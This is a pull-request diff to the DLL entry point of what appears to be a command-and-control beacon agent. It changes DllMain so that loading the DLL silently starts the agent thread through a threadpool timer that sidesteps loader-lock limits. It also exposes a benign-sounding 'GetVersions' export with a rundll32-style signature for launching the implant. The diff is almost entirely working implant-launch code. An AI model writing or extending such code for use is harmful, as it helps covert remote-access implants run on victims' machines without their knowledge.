Merge pull request #93 from 0xShkk/dev-v0.7

Fix DLLmain

Extenders/agent_beacon/src_beacon/beacon/main.cpp

@@ -70,20 +70,91 @@ int main()
 
 #elif defined(BUILD_DLL)
 
-extern "C" __declspec(dllexport) void GetVersions()
+// Global synchronization primitives
+static volatile LONG g_AgentInitialized = FALSE;
+static volatile LONG g_LockInitialized = FALSE;
+static CRITICAL_SECTION g_InitLock;
+
+// Initialize critical section during DLL load
+void InitializeSynchronization()
 {
-    HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL);
-    if (hThread)
-        CloseHandle(hThread);
+    if (InterlockedCompareExchange(&g_LockInitialized, TRUE, FALSE) == FALSE)
+    {
+        InitializeCriticalSection(&g_InitLock);
+    }
+}
+
+// Internal function to run agent with proper synchronization
+void run()
+{
+    // Initialize synchronization if needed
+    InitializeSynchronization();
+    
+    // Attempt to acquire initialization ownership
+    if (InterlockedCompareExchange(&g_AgentInitialized, TRUE, FALSE) == FALSE)
+    {
+        // Create agent thread without blocking
+        HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL);
+        if (hThread)
+        {
+            // Detach thread for asynchronous execution
+            CloseHandle(hThread);
+        }
+        else
+        {
+            // Reset flag on failure to allow retry
+            InterlockedExchange(&g_AgentInitialized, FALSE);
+        }
+    }
+}
+
+extern "C" __declspec(dllexport) void CALLBACK GetVersions(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
+{
+    // Mark as directly called to prevent automatic execution
+    InitializeSynchronization();
+    
+    if (InterlockedCompareExchange(&g_AgentInitialized, TRUE, FALSE) == FALSE)
+    {
+        HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL);
+        if (hThread)
+        {
+            // Wait for thread completion when called directly
+            WaitForSingleObject(hThread, INFINITE);
+            CloseHandle(hThread);
+        }
+    }
+}
+
+VOID CALLBACK InitializationCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_TIMER Timer)
+{
+    // Execute initialization without loader lock constraints
+    CloseThreadpoolTimer(Timer);
+    run();
 }
 
 BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
 {
     switch (ul_reason_for_call) {
     case DLL_PROCESS_ATTACH:
-        GetVersions();
+    {
+        // Initialize synchronization on first load
+        InitializeSynchronization();
+
+        // Create scope block to contain variable declarations
+        PTP_TIMER timer = CreateThreadpoolTimer(InitializationCallback, NULL, NULL);
+        if (timer)
+        {
+            FILETIME dueTime = {0};
+            SetThreadpoolTimer(timer, &dueTime, 0, 0);
+        }
         break;
+    }
     case DLL_PROCESS_DETACH:
+        // Cleanup if loader allows
+        if (!lpReserved && g_LockInitialized)
+        {
+            DeleteCriticalSection(&g_InitLock);
+        }
         break;
     case DLL_THREAD_ATTACH:
         break;